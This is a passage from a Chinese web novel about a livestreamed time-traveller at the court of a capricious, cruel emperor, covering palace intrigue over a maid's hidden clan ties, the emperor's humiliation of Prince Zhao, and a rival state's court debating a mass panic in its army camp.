尔雅很特别,不仅是在她的性格上,还在谢吾德对她的偏爱上。 尔雅向谢吾德提出的请求谢吾德一般都不会拒绝,不过在这件事情上尔雅也有分寸,她要是提太多要求,那在谢吾德眼中性质就变了。 林耀祖是一个直爽的人,一般情况下,如果她想要知道一件事,她就直接问,对方拒绝回答或者直接搪塞也无所谓,但是在面对尔雅的时候,她总疑心自己和尔雅之间的关系没有好到可以去问尔雅今天打算去做什么的地步。 林耀祖觉得,理论上来讲,自己的前身和尔雅关系很好——林耀祖到现在都不知道自己实际上并没有所谓的前身的存在,但是尔雅做的事情可能是连和她关系好的人都不能说的。 这是一种很奇特的直觉,所以林耀祖一直没有直接询问尔雅的勇气。 她想要干什么? 林耀祖不由得感到惆怅,也不是没有热心观众提醒林耀祖尔雅绝对是有问题的,但是尔雅好歹是林耀祖在这个世界上见到的第一个人,她还是想要给予尔雅更多的信任的. 到了第二天早上,林耀祖就知道尔雅去做什么了。 尔雅带着一个看上去十四五岁的少女出现了。 她看着林耀祖,对她说:“我还从宫外给你带了一点吃的。” 尔雅背着光,她带着一点点笑,眉眼弯弯的。 巧笑倩兮,美目盼兮。 尔雅不是绝顶的美人,林耀祖曾经来了一次后宫大探险,她虽然完全算不上史官,但是她在这里有一个优势——她是女性。 以前的那些皇帝一直都很警惕男人在后宫中活动,想要长期在后宫待着就得去势。 林耀祖作为女性,还是个史官,只要不被禁止,她想去哪就去哪。 反正没人担心她会去搞百合——这里又不是二次元媚宅麻辣仙人手游。 反正林耀祖见识了不少美人。 虽然有一些世家出身的宫妃入宫是家里安排的,那些宫妃长相算不上好看,这东西就像是智商一样,从世家整体来看,他们不会变得更聪明,也不会一代代地变成大美人。 智商一般的、长相一般的又不会被剥夺繁育权,一切自然会渐渐回归平均值。 只不过世家出身的人有更多的资源去学习或者包养,从而看上去还真的有这样的基因优势一样。 不过在世家出身的宫妃之外,有些人是谢珖觉得长得真的好看的,纯粹地被用来以色侍人的。 和那些人相比,尔雅还是差一点的。 但是她太过于从容自信了。 有些人就是胆子很大,明明是鬼混了一晚才回来,但是偏偏能摆出一副“出门给你带好吃的”姿态。 林耀祖知道尔雅大概率不会出事,但是她还是忍不住抱怨了几句:“幸亏没有来人来检查我们,不然我该怎么交代?而且这么做也不合适吧?” 林耀祖的很多行为在旁人看来有些离经叛道,但那更多是因为她在遵守现代的规则,而不是古代的规则。 现代的道德也不是永恒不变的,未来的人来到现代说不定也会鄙夷现代人所赞美的道德是糟粕。 但是在现代的规则中,爱岗敬业也算是重要的品德。 尔雅并没有解释什么,而是伸手摸了摸那少女的脑袋:“谁来检查我们?李真还是余文彦?” 林耀祖:“……”还真的是。 这里是后宫,余文彦进不来,而且就算他能进来,余文彦这个老油条也不会掺和;李真是个太监,他倒是能进得来,但是他无缘无故地也不会和谢吾德说这些,谢吾德绝对懒得去管尔雅半夜跑出去,李真跟他说这些搞不好还会被打,所以李真也不会说。 只要谢吾德自己没有需求,他才懒得管其他人都去干什么。 林耀祖都能想象自己跟谢吾德说这句话,谢吾德绝对会翻个白眼反问:“我是你爹吗?还管这么多?” 尔雅对林耀祖说道:“除非陛下亲自来检查。” “小心他半夜到床头吓唬你。”林耀祖嘀咕。 尔雅沉默两秒:“……我知道了。” 之前谢吾德就站在邱腾的床边吓唬过邱腾,她也在一旁。 谢吾德还真能干出这种事。 要是谢吾德扑了个空,他大概会感觉不爽吧。 “我之后会小心的。”尔雅继续说道。 所以还是要出去吗? 林耀祖无语,但是尔雅平日里并不怎么出去 林耀祖没有再说什么,而是看向了那个少女,问道:“这是谁?” “她以后大概就是这里新的宫女了。”尔雅看着那个少女,回答道。 林耀祖觉得尔雅似乎是在试探谢吾德的底线,这实在是太危险了:“这算是往宫里安插人手吗?” 尔雅看了她一眼:“话不能这么说。而且我要是有什么坏心思的话,陛下能放过我吗?我又能逃掉吗?” 就是因为如此所以才别作死啊! 换个人,林耀祖大概只会觉得谢吾德根本就不在乎这种事,无所谓,但是她很在意尔雅,所以真的不希望她出事。 林耀祖看着这个少女,发现对方的眼睛红彤彤的,眼白完全是一片血色,眼眶下面也有深深的黑眼圈。 她整张脸都是白的,但不是深居闺中的那种白,而是一种毫无血色的苍白。 看上去就像是家里出了事,被尔雅带进来的一样。 想到这里,林耀祖的心中不由得一跳,说道:“你从哪里带出来的人?她该不会是陈家的人吧?” 林耀祖已知出了事的人家就是临川陈氏了。 其他世家都不敢出手帮忙,更何况尔雅这个宫女? 她帮陈家人图什么? 尔雅只是笑笑,并没有回答,但是她不回答已经表明了一种态度。 “你就不怕陛下怪罪于你吗?” 谢吾德不怕有人暗害,但他也讨厌有人抢他的猎物。 临川陈氏此刻在谢吾德心中,大概就是这样的猎物。 “我需要她帮我想一些事情。”尔雅摸着少女的脑袋。 林耀祖看着尔雅一副坚决的表情,也觉得自己不应该再劝说什么了。 大家都是成年人,尔雅的主意也比她多。 说多了没用。 林耀祖这一上午都没跟尔雅说什么话。 她提心吊胆的,头顶上树枝摇晃都能让她吓一跳,生怕是谢吾德站在上面盯着他。 不过这也给了她独处的机会,让她能和弹幕聊一聊。 【主播也算是主角配置了,第一个接触到的人不是什么简单人物实在是太符合剧情发展了。】有人安慰林耀祖。 林耀祖挠挠头:“其实我还好。” 【不听主播言,吃亏在眼前。她早晚得出事。】 “呃,谢谢大家对我的信心,但是还是算了。”林耀祖擦汗。 【啧。】 林耀祖问:“有没有人能帮我查查历史书上有没有关于尔雅的消息。” 【没有,如果有的话早就跟主播你说了。】弹幕纷纷表示没有,【再说了,这可是《魔法荣书目录》。】 记载中几分真几分假都不好说。 虽然大家现在都知道谢吾德这个人是真的“魔法”,但是《荣史》本身就有大量的涂改,前后矛盾左右互搏是常态。 林耀祖叹了一口气。 这实在是太让人心里没底了。 虽然不是所有有本事的人都能在史书上留名,但是能上史书的人总觉得有一种莫名的光环。 【尔雅就是陈家人吧。】有人说道。 林耀祖不语。 还真有可能是这样。 【如果尔雅真的是陈家人,那她是怎么成为宫女的?】又有人问。 【是和谢敬明一起入宫的吧?】 【那她就不是宫女。】 【那主播的“原身”是什么?】 【你们真的确定存在“原身”吗?】 很多事情林耀祖自己不会想到,但是现在林耀祖的直播已经成了世界级的直播。 这个世界总是不乏聪明人的,而且在看林耀祖直播的还有各国的特工机构,那些人更是对这些细节有着入微的观察。 林耀祖看着这几句话,只觉得脊背发寒。 【搞不好,尔雅一开始就在骗主播呢。】 【如果你看到你面前突然出现了一个人,她看上去还有点搞不清楚情况,而你现在又处在可能被围捕的困境,那么你会选择……】 一般人会选上去求助,但是显然,尔雅是脑子转的很快的人。 她选择直接为她们双方捏造了一个身份,占据了双重的主动权。 反应快到令人毛骨悚然。 林耀祖都有点被吓到了,她哈哈地笑了两声:“不、不可能的吧?还是疑罪从无吧。” 【动摇了。】 【主播动摇了。】 【主播别怂。】 【哈哈哈哈哈,被坏女人玩弄于股掌之间。】 林耀祖长长地叹了口气:“这个世界实在是太险恶了。”. 等到了下午,有人喊林耀祖过去见谢吾德,带着谢萍一起。 林耀祖指了指自己:“……我?” 不是尔雅? 林耀祖虽然怀疑自己就像是弹幕说的那样,自己被尔雅愚弄了,但是她觉得自己这段时间和尔雅的接触是真实的,从很多小细节能够感觉到尔雅并不坏。 她替尔雅担心了半天,结果惹上麻烦的是自己? 这合理吗? 林耀祖鼓起腮帮子,忽然感觉这个世界不太公平。 谢吾德把猫放在桌子上推倒,然后用手捏着猫的肚子,像是在捏什么解压玩具一样。 他抬起头看着林耀祖和谢萍,问道:“你们可知罪?” 这话怎么听着这么耳熟?林耀祖心想。 谢萍又抖了一下。 林耀祖战战兢兢地说道:“臣……不知。” 谢吾德板着脸看着林耀祖。 林耀祖脖子渐渐地缩了起来,然后她就听到谢吾德说道:“昨天晚上那么好玩的事情,你们怎么不知道叫上我?!” 林耀祖猛地抬头:“啊?” 林耀祖觉得自己现在的眼神比一岁小孩都要清澈。 谢吾德拍着自己的大腿,把猫吓得都想要站起来跑掉,但是它被谢吾德死死按住:“那么血流成河的场面,我居然错过了!你们也不知道给我留一点?” 林耀祖看着谢吾德,懵了:“……发生了什么事情?我们不是故意的……” 谢吾德眨了眨眼。 林耀祖有没有那个心机他不知道,但林耀祖有直播,有弹幕,说不定是哪个弹幕给她出了鬼主意,所以他自然而然地,把这功劳按在了林耀祖头上。 在确定林耀祖不是撒谎之后,谢吾德看向谢萍这个六岁的孩子。 谢萍的眼神看上去像是半岁的小孩一样清澈。 那也不是这个孩子做的。 谢吾德叹了口气,原来是稀里糊涂做的啊,所以谢吾德直接说道:“昨天萧国营啸了。” 所谓营啸,大概就是士兵发疯发狂了,造成了巨大的内部伤亡。 营啸这种东西一旦开始,便不再受军队的将军控制,根本不是能够轻易控制的住的。 这就好像是一种群体的精神病发作。 但凡了解过精神疾病的人,就很难指望有人能凭一句“你别发疯”就能让疯子停下来。 信这种事情的人往往自己就得先去看看自己的脑子。 发现谢吾德实际上并不是在问责她和谢萍,只是一种夸张的说话方式。 林耀祖算是放心了,她问道:“陛下怎么知道的?” 这个点一般是谢吾德起床的点,谢吾德总不可能是亲自跑到萧国那边看到了吧? 还是说谢吾德有全知全能? 谢吾德当然不全知全能,他要是全知全能之前就不会差点被邱腾给打了,这其实也是亚夏嘲笑谢吾德根本就不是神明的点。 谢吾德只是给了邱腾一个联系他的快速通道,让邱腾有什么重要的事情尽快的和他说。 邱腾知道这件事情是有探子从萧国那边返回,人和马都累了个够呛才把这个消息传递给邱腾。 邱腾紧急把这件事情告诉了谢吾德。 他本意是想告诉谢吾德,现在萧国那边受到重创,但是谢吾德脑子里只有另外一件事:也就是说,粮草的事情不着急了。 谢吾德这想法要是被邱腾知道了,邱腾多半能被他气个仰倒。 重点是这个吗? 对于谢吾德来说,重点还真是这个。 他根本就不用关注这些。 ……可能邱腾也不是很意外,毕竟谢吾德有瞬间移动的本事却用来吓唬他而不是砍掉萧国皇帝的脑袋,这已经很能说明谢吾德乐子人心态了。 “好吧,你们什么都不知道就算了。”谢吾德有点失望,他还以为自己身边能有大恶人,恐虐神选不至于,但是至少得是那些无节操动画里那种没良心乐子人。 谢吾德本来想说,下次他们再想做这种有趣的事情,记得和他说一说,但他转念一想,又觉得算了。 林耀祖和谢萍对他们干了什么完全没有正确的预判,和谢吾德一样都是乱搅一通。 谢吾德喜欢看乐子,但结果未必是他想要看到的那个,那样就纯属是浪费时间了。 所以还是算了吧,别有什么事情都跟他说,听别人通知也浪费他时间。 【你这是在cos万历吗?打算整一个三十年不上朝,然后只有在打架的时候积极?】 【骂得真脏。】谢吾德咬牙。 亚夏轻笑一声,溜了。 谢吾德浅吸了一口气。 这家伙知道怎么说才能让他不生气。 “陛下。”李真走了进来,向谢吾德行了一礼。 谢吾德疯狂搓猫脑袋。 李真对谢吾德的反应有点无语,还是说道:“陛下,赵王来了。” 李真也在考虑自己要不要学习余文彦那样,找个机会想办法强调一下自己的名字。 “是曾经的三皇子谢敬明。” 谢吾德也不记得谢敬明的名字,但李真一说“三皇子”,谢吾德就明白了:“哦,他来找我干什么?” 谢吾德掰开猫的牙,检查白猫的口腔健康。 林耀祖听到三皇子谢敬明的名字,她浑身一僵。 她可没忘之前尔雅和她说她们以前是三皇子手下的宫女。 林耀祖自己未必是,但是尔雅很有可能和三皇子有什么关系。 万一尔雅真的是临川陈氏的人,那么三皇子这次来是想要做什么?让尔雅和临川陈氏一起去死? 就算尔雅真的骗了林耀祖,这也罪不至死啊! 虽然这一切都是推测,但是林耀祖的脑子里有一种直觉,直觉弹幕可能说得对。 林耀祖往前走了一步:“陛下。” 谢吾德本来已经抬起手,打算让李真把谢敬明喊进来,听到林耀祖的声音,看向她:“嗯?” 林耀祖的身体僵住了,嘴巴也好像被胶水黏上了一样。 靠靠靠,她嘴巴比脑子快,她现在根本就没想好要说什么才能让谢吾德别见谢敬明! 自己别真把自己玩死了! 第72章 林耀祖的大脑飞速运转着,边上的弹幕疯狂地跳动着。这种时候也没空去看弹幕了,别说谢吾德有可能看到弹幕,就算看不到,林耀祖看向弹幕的样子也会十分明显。 也不是所有弹幕都有用,很多弹幕就是纯粹的垃圾信息。林耀祖只有在她不是很忙的时候才会去翻弹幕。 “赵王实在是无能。”林耀祖垂下眼,强行让自己装出想要帮谢吾德找乐子的样子,“这么多年了,居然没让陛下记住他的名字。” 谢吾德嗤笑了一声,看着林耀祖,然后抬起手让李真放谢敬明进来。 林耀祖下意识地上前一步,谢吾德看了她一眼,问道:“又怎么了?” 林耀祖稍微有点后悔:“陛下要不还是看看远方的萧国大军吧。” 谢吾德挥挥手说道:“萧国根本就不重要。难不成在你心中,萧国对我是一种威胁吗?” 哪天丢点流星,把他们撞飞他们就老实了。 如果刨除掉一些利益之间的纠葛,荣国没有人不希望夺回北方的。 世家贵族乃至于皇帝不支持邱腾进攻萧国是瞧不上哪点土地吗? 只不过是担心军队做大,对他们的统治产生威胁、 林耀祖深吸了一口气。 谢吾德有点期待地看着她。 这次谢吾德没有抬手让李真放谢敬明进来,同样也没有开口说话,只是瞪大眼睛好奇地打量着李耀祖…… 林耀祖看着谢吾德,说道:“陛下,您真的不是拿我取乐吗?” 她总感觉谢吾德似乎知道了点什么事儿,但看他现在这反应,更像是在耍她玩。 人类向来很难把握住聪明与愚蠢之间的界限。 有些人在面对婴儿或者宠物偶尔表现出来的聪明机智会啧啧称奇,觉得一代比一代更聪明或者自家宠物要成精了,但事实就是,他们并没有人们想象中的那么蠢。 人类在智商方面也有一点点二极管思维。 当面对谢吾德这种做事常常不过脑子的人时,他们往往会下意识地把谢吾德的敏锐度看低,认为他对细节十分不敏感。 谢吾德笑嘻嘻地看着林耀祖,一只手托着腮,一点点碎发从他的指尖落下,微卷的发稍缠绕在他的手指上。 这个动作让他看起来还挺可爱的,但谢吾德说的话却不怎么友善:“不用担心,这事轮不着你担心,也轮不到你替朕决定。乖一点,懂吗?” 林耀祖总觉得谢吾德这口气像是在对待什么小宠物一样。 谢吾德到现在还不生气,很有可能就是因为他看林耀祖像是在看宠物——一种名叫“穿越者”的新奇小宠物。 好吧,在这件事情上林耀祖好像很能想得通。 能被谢吾德当成小宠物对待,远远好过被他当成讨厌的动物对待。除非是那种变态的主人,不然大家对待宠物的态度往往都带着几分纵容。 但是她就没办法帮尔雅了,毕竟宠物是没办法决定主人的态度的。 “早就想说这种话试试了。”谢吾德把自己托腮的手转了一个方向,捏着自己的下巴。 谢吾德从来都不担心有人对他施加影响,谁都没有控制他都本事。 之前他遇到的除了自己之外的很多人都是自己的无脑狂信徒,谢吾德哪怕让他们做荒谬的事情他们都会毫不犹豫地答应下来。 他早就想找一些有点反骨的手下了。 这样才好玩。 林耀祖:“……” 她感觉自己真的被耍了。 谢萍也扯了一下林耀祖的衣服,示意她们还是先离开。 相比起林耀祖,谢萍其实更依赖尔雅一点。 但有些事情,其实更取决于谢吾德本人的心情。 把谢吾德惹烦了,对尔雅一点好处都没有. 林耀祖在门口看到了谢敬明,她本来想要保持一点风度,但是她一看到谢敬明,脸色就垮了下去。 谢敬明注意到了林耀祖的表情。 林耀祖比她自己想象的要出名得多,史家的学者有男有女,但是自皇朝建立以来,就没有女史官。 林耀祖也算是开先河了。 只是这先河和林耀祖本身的能力没有半点关系,纯属是谢吾德又在乱来。 林耀祖这么看着他估计也和陈雅有关。 谢敬明却不以为意。 当初夺储的时候他就得罪了一堆人,不差林耀祖这一个人。 他也完全不担心林耀祖跟谢吾德说他都坏话,谢吾德就是个没心的人,他根本就不会被影响。 谢吾德不吃撩拨,他只看怎么样才能让他觉得最有趣。 谢敬明走了进来,原本在看到林耀祖时的自信满满已经荡然无存了,他转而小心翼翼地看着谢吾德,在评估谢吾德有没有杀他这个三哥的打算。 谢吾德懒得跟他废话:“你这次来有什么事情?” 谢敬明立刻躬身道:“陛下,臣有一事相告。” 李真侍立在一侧,大概知道谢敬明想要说的是什么了。 尔雅有问题他是知道的,余文彦大概也早就知道了。 那么为什么他们什么都没有说? 那还不是因为谢吾德根本就不在意吗? “臣之前见过之前在陛下身旁的那个宫女,是陈家人。”谢敬明说。 李真闭上了眼睛。 蠢货,难怪在夺嫡之争中就是谢敬明表现的最差劲。 尔雅是临川陈氏的人又怎么样? 谢吾德把临川陈氏诛九族没有半点寻常皇帝斩草除根的想法,他满脑子都是杀个痛快。 少一个人根本就无所谓。 他不需要知道尔雅是临川陈氏的人这条重要的消息。 大概对于谢吾德来说,就算尔雅之前为临川陈氏做过对谢吾德不利的事情也无所谓,按照谢吾德的脑回路,他只会觉得现在临川陈氏全都死了,尔雅就只能效忠于他了。 这多是一件好事? 谢吾德就没有那种杀了人全家别人就一定要仇视他的那种自觉。 或者说,在很多神话传说中,神就是这样的混蛋玩意。 谢吾德也是。 “臣之前与她有过一段关系,她勉强也算是臣的人了。”谢敬明又说。 谢吾德的眼神变得有点无语:“我对你的情史没什么兴趣。没有其他的事情的话,别打扰我。” 谢敬明立刻知道自己说得太蠢了,他赶紧补充:“当然,臣是没有碰过她的,只是当时她和临川陈氏都有这方面的意思,临川陈氏对臣的支持也是因为她才存在的。” 谢吾德面无表情。 他感觉自己的名声受损了。 “闭嘴,小心我把你阉了。”谢吾德冲着谢敬明勾了勾手指,“过来。” 谢敬明刚一走过来,谢吾德一脚就踹在了他小腿上。谢敬明猝不及防,“噗通”跪了下去,牙齿不小心咬到了舌头,嘴里泛起血腥味。 “你的人?连你都是朕的。”谢吾德指挥道,“跪下,趴好。” 【你这台词好糟糕。】亚夏说道。 谢吾德没心情理这个在完全不恰当的时机讲黄色玩笑的家伙。 谢敬明把嘴巴里的血咽了下去,身体却一点都不敢违逆谢吾德的话,立刻趴了下去。 谢吾德一只脚踩在他的后背上,他胳膊搭在自己大腿上,弯下腰去看谢敬明,说道:“你还是没搞懂你和我之间的关系。你就是朕的一条狗,狗什么东西都是主人的。听到没?” 谢敬明只感觉自己的后背非常痛,头痛更是要炸开。 从一开始,谢敬明就根本没想从谢吾德手里要人。 别说是谢吾德了,就算是普通皇帝,也不可能轻易把自己身边的人还给别人,更何况谢敬明算谢吾德的什么。 谢敬明是觉得自己如果不先和谢吾德把这话说清楚,等到日后尔雅身份暴露,把他牵连下水就不好了。 谢敬明觉得尔雅胆子实在是太大了,早晚有一天会把他给拉下水的,现在和谢吾德说这些虽然会引起一些误会,但是总好过让谢吾德哪一天把他抓走用这个借口杀了他玩。 “臣没有那个意思。” 谢吾德就像是没听到一样,继续看着谢敬明说道:“就算我要你老婆,你也得把你老婆先给我,听到没有?” 他的本意只是运用夸张的修辞手法吓唬人,顺便说一句以前学过的但是不知道能用在哪里的台词。 谢敬明诡异地沉默了一秒,然后有点期待地看了谢吾德一眼,脸都红了。 谢吾德像是被烫到脚一样,赶紧把自己的脚移开:“他妈的,你在我心中已经够变态了,你不要再让我觉得你还能突破下限。” 谢吾德也就只在二次元里能当一当人.妻控,说一句“我乃曹贼”这样的话,可没有在现实中将其付诸行动的打算。 谢敬明对于谢吾德说道:“这天下什么不都是陛下您的。” 谢吾德又沉默了两秒,然后说道:“要不你还是问问你老婆愿不愿意跟着我吧。” 他都有点可怜谢敬明的王妃了。 感觉就算被他榨干剩余价值也比被谢敬明这个抽象的家伙污染要好。 不过谢吾德还真没见过赵王妃。 这家伙自从不竞争皇帝这个位置之后,是不是越来越放飞自我了? 谢吾德拿脚在地上蹭了两下,总感觉自己像是踩到了脏东西一样。 谢敬明想了想,说道:“陛下需要我去问问王妃吗?” “你他妈还真问呢!”谢吾德都无语了,说道,“你还是去问吧。好好问,顺便问问她要不要把孩子带着,带着孩子离婚。” 谢敬明这才愣住:“陛下说要和离吗?不行啊,这是我的王妃。我们好歹是年少夫妻,陛下怎可就这么拆散我们。” 谢吾德:“……”这是在乎还是不在乎? 甚至只提自己的妻子,没提自己的孩子被妻子带走这事在这个年代有多么不合常理。 谢吾德的很多抽象都是看小说、电视剧和电影学的,此刻看到谢敬明这个抽象的浑然天成的家伙,谢吾德只觉得一阵无力。 这个世界还好吗? 谢吾德在脑子里问温特:【你看看他,能不能给他开一点药?】 谢吾德对于这种人是真没招了。 每当他觉得自己很离谱的时候,往这个古代世界周围看一圈,他就会觉得自己原来是个三观非常正的家伙。 他现在的身边都是什么扭曲人? 这个世界果然出了什么问题吧。 想到这里,谢吾德一拍自己的脸,觉得自己果然是太久没用脑子,傻了。 这个世界当然有问题了,这个世界是亚夏和温特以及他们背后的科研团队构建的。 这个世界很多事情并不是巧合。 谢敬明大概就是他们故意丢出来折磨谢吾德的。 【亚夏,温特。】谢吾德在脑海里呼叫亚夏和温特,【你们真的不是把这个人弄出来折磨我的吗?】 亚夏没有回应。温特依旧是站出来说话的那个人,他说道:【你不觉得这很有趣吗?】 【这种东西还是留在二次元里吧,现实中遇到这种人只感觉膈应得慌。】谢吾德只感觉自己的牙疼。 【哦。】 【这就完了?】 【这就完了。不然呢?你想杀了就杀了,想怎么样就怎么样,这个世界随便你折腾,我们本来也不打算管了。】温特无情地说。 过去那么多年,一直都是谢吾德折磨亚夏和温特,现在轮到谢吾德被亚夏和温特折磨了,只能说是一报还一报。 谢吾德叹了一口气,然后他看向谢敬明,自己重新坐好。“你给我老实一点,你再恶心到我,我就把你头给拧下来。” 谢敬明的确变得严肃了许多。 谢吾德言出必行,如果没有特别的原因,谢吾德的确会践行他的承诺。 所以当谢吾德说会把他脑袋拧下来的时候,谢敬明瞬间变得乖巧了起来。他可不想被杀。 “说说你了解的关于尔雅的事情吧。” “她现在叫尔雅吗?”谢敬明想了想,“她的本名叫陈雅……” “不,我想知道的不是这个。”谢吾德对尔雅的身份背景没有半点兴趣。 尔雅就算从石头缝里蹦出来都无所谓。 “那陛下想要知道什么呢?”谢敬明问。 “尔雅她是不是一个会老老实实地做个宫女的性格?” “那绝对不是。”谢敬明虽然不知道谢吾德具体是指什么方向,也不清楚尔雅她现在想要做什么,但是尔雅绝对不是能做宫女的性格。 看林耀祖之前的表情,谢敬明甚至能确定尔雅可能完全没有事,甚至似乎还把林耀祖拿捏在了她的手里。 不然他来和尔雅切割什么? 她实在是太危险了。 她根本就不是一个女人,而是披着女人的皮的乱臣贼子。 谢敬明之前不打算听尔雅的也不仅仅是因为他看不起尔雅是个女人,还觉得自己如果完全听她的话去做,自己早晚会变成尔雅的人偶。 “那样实在是太好了。”谢吾德松了一口气,“入则无敌国外患者,那实在是太无聊了吧?” “……孟子知道您这么乱用他的句子吗?”谢敬明的眼角抽动着。 “那让他来打我。”谢吾德理不直气也壮,“行了,你滚吧。” “那臣的王妃的事情……” 谢吾德跟李真说:“把他腿打断吧。” 这个世界上怎么真的有这么糟糕的人? 第73章 萧国十几万大军营啸的事情是完全藏不住的,几乎是当天,萧国皇帝那边就知道了。 他们心里咯噔一声。 营啸在任何时候都被看作是一件非常不吉利的事情,是一种恶兆。 现在还没打到荣国,萧国就伤亡惨重,这是萧国这边绝对不能够接受的。 “具体发生了什么?”萧国的皇帝看着这次回来汇报事情的使者。 使者的身体停顿了一瞬间,然后说道:“据说有人看到了先帝。” 萧国的丞相比萧国的皇帝更早被这句话惊到了:“你说什么?这里可不是能说着玩的。” 萧国丞相瞪着眼睛看着这次来汇报情况的使者,他当了二十多年的丞相,当他要发怒的时候,即使是被功绩冲昏头脑的萧国皇帝都得退让几分。 老丞相有多么兢兢业业大家都看在眼里。 虽然文化和信仰有所不同,但人类在有些时候展现出来的脑回路是相似的。 有人重新看到了先帝,而先帝出现之后,萧国的大军便遇上一场营啸…… 那就不得不让人紧张起来,这背后是不是先帝的灵魂在警告他们什么? 但能是什么事呢? 萧国丞相第一时间想到的便是攻打荣国这件事。 荣国有了一位新的皇帝。 之前听到关于谢吾德的传闻并不多,大多评价都是“疯疯癫癫”。 萧国之前觉得这样的皇帝很难得到荣国的支持,荣国有多么在意体统,他们都看在眼里。 不过他能登上皇位,想来也有他自己的独到之处。 萧国丞相是比较反对皇帝在没搞清楚荣国皇帝如今状况时就派大军出征的,同样也反对配合那些来自荣国的世家将谢萍的脑袋砍下来作为献给萧国皇帝的“礼物”。 他倒不是觉得这种行为太卑鄙……虽然的确卑鄙,但是如果是为了萧国,这也不是不能接受。 他更多是觉得那些世家这么做可能也不怀好意。 他们和荣国的世家勾勾搭搭,世家也是想在萧国和荣国之间两头下注。 大家都是藕断丝连的。 不过对于世家本身,最有利的结果其实是世家自己当皇帝。 南荣的世家可是潜在的竞争对手,自然要提起警惕。 就在他们进行讨论的时候,宫人跟皇帝说有另外一群人来了。 萧国皇帝一听,这些人不正是他们之前被派去荣国的使者吗? 他原本打算把这群人先打发了,现在再大的事情也比不过萧国大军营啸以及先帝疑似复活的事情。 但是萧国丞相想了一下:“陛下,不如还是让他们进来吧,我怀疑事情可能和荣国相关,这群使者也刚从荣国回来,说不定他们会知道些什么事情。” 萧国皇帝想想也是,他们不差这么一点时间。 前来觐见皇帝的萧国的使者虽然是用两条腿走路的,但是却莫名地像是连滚带爬,他们的表情慌张,浑身颤抖着。 在看到萧国皇帝的时候,就像是看到救星一样,瞬间痛哭流涕:“陛下,锦京实在是太邪门了,那个荣国皇帝根本就不是人。我们辱没了我们的使命啊!陛下,那里太危险了,太危险了!现在荣国——荣国的皇帝是我们的大敌了!” “有话就好好说,不要这么惊慌失措的,成何体统!”萧国丞相率先开口了,“还有,你们领头的人呢?被荣国皇帝给杀了?” 后半句话只是随口一问。 那人被杀本来就不算特别让他们意外的事情,本来就是去恐吓荣国的皇帝的。 虽然萧国皇帝觉得自己的这位丞相有的时候很烦,但此刻他也不由得点了点头。 这群家伙看起来实在是太丢人了,这可是他的手下,怎么能够露出这样不争气的神情呢? 萧国丞相虽然被他们哭得心脏不太舒服,但是他还能沉得住气。 不管多大的问题,他们都得去解决。 那个使者深深喘息了一口气,之前在路上的时候他们还能憋得住,但在回到萧国看到皇帝之后,他的情绪就有点绷不住了,鼻涕都流到了自己的嘴巴里:“我们看到谢萍——就是那个被砍了头的小孩,她被复活了!” 在听到这句话的时候,萧国丞相的第一反应便是看向了这次前来汇报情况的军中之人。 军中的人说他们看到了萧国的先帝,而派到荣国的使者说他们看到有人复活…… 那么营中出现的那个“先帝”,是不是就是荣国人干的? 萧国的皇帝愤怒地一拍案几说道:“荣国人真是好大的胆子!他们怎么敢这么做?” 萧国皇帝不满先帝给他留下的丞相,觉得他很多时候都十分碍事,但他仍然是敬仰自己的父亲的,虽然这份敬仰也因为这些年他自己的成就而逐渐减淡,但那就是他的父亲,他不允许有人借用他父亲的身份,这是一种侮辱。 “先帝陵寝那边有没有传来什么消息?”萧国丞相问边上的人,“快去查,是不是有人隐瞒了什么消息?” “我们现在就得动手,给荣国人一点教训!”萧国皇帝拍案而起,“去把所有人都聚集起来,我们必须得为先帝报仇!” 丞相听到这句话,想了一下,再次阻止萧国皇帝:“陛下,不可。” 萧国皇帝眼神不善地看着萧国丞相,问道:“又怎么不可?你不是一直都自诩是父皇的忠臣吗?怎么这种时候退缩了?” “陛下,我们必须要为活着的人考虑,现在我们还不清楚荣国那边究竟是什么情况。”萧国丞相深深吸了一口气,“而且用这种理由去攻打荣国,那岂不是就是承认了我先帝的尸体真的被侮辱了吗?” 萧国丞相对萧国先帝的感情不比如今的萧国皇帝要少,但他知道萧国的先帝更在意什么。 如果这些人没有疯,他们对于谢吾德的描述是准确的话,那么现在的情况可实在是太危险了。 他们在面对一个未知的敌人,对方的手段只有在市井的传说中才会出现。 就算萧国先帝真的复活过来,那他也会做出和萧国丞相相似的决定。 现在最重要的不是先帝的体面,也不是先帝的尊严。 这些都很重要,但更重要的是萧国的社稷。 他们不能让萧国的一切在此刻毁于一旦。 一旦承认,有多少人会害怕? 他们会害怕自己的家人成为荣国那个邪恶的皇帝的傀儡。 只要一深想,不难想到很多人会担心之后会在战场上遇到自己死去的亲人,要是他们的亲人再喊着他们的名字攻过来,绝大多数人都只有屁滚尿流的份。 萧军很有可能会一溃千里。 只要说这一切都是谎言,就足够糊弄绝大多数人了。 “那还真能怕了荣国不成?荣国之前害怕我们萧国,一步步地退让,才有了今天的局面,难道我们要在这件事上步荣国后尘吗?”萧国皇帝道,“他做这些难道不会有半点牺牲吗?他敢用这种禁术,肯定对他有一些影响,他不可能频繁用的。他只不过是借此来威胁我们萧国。” 萧国丞相被皇帝第一句话给震了一下。 还真是。 萧国永远的反面教材,他们亲爱的邻居——荣国。 “如果那个荣国皇帝真的有这样的本事的话,那为什么不过来把我们的头砍下来呢?或者是干脆让父皇复活,飘到这里来,给我捅上一刀呢?这样造成的后果不是更严重吗?他为什么只是这么做?是因为做不到吧。他既然有这么多的限制,那我们就要抓住机会。” 萧国丞相惊呆了。 皇帝说得有道理,但又好像完全是自以为是。 虽然荣国是他们的反面教材,但是凡是都和他们对着做,那不是另外一种被人牵着鼻子走吗? 他是不是把一切都想得太乐观了?事情不一定会按照他所想象的那样去发展的。萧国丞相想。 但是是不是他太谨慎了呢? 很多荣国的皇室和世家贵族都在他们萧国境内,他就不想一雪前耻吗? 然而萧国皇帝却越说越兴奋:“而且我看谢吾德也不愧是谢家的人。他们总是在关键的时候退缩。就算有这样的本事,他真的敢对我们萧国动手吗?只不过是做事做一半,做到最后,他还是得退缩。” 这话让萧国丞相忍不住沉默了几秒钟。 萧国皇帝如今如此刚愎自用,荣国的皇帝得背负很大的责任。 就是因为他们总是这样,在错误的时间做出最错误的决定,给荣国的抵抗势力添加了很多麻烦,给萧国很多可乘之机。 萧国皇帝之前做出的很多决定都是很冒险的,甚至是又很大纰漏的。 萧国丞相曾经无数次觉得这次萧国皇帝一定要吃一个大亏,但谁知道那群荣国人比萧国皇帝还要错? 这可真是一个令人无语的结果。 荣国皇帝战绩在前,萧国丞相一时之间都不知道该怎么劝萧国的皇帝了,他能反驳的话好像都没办法动摇萧国皇帝的脑子。 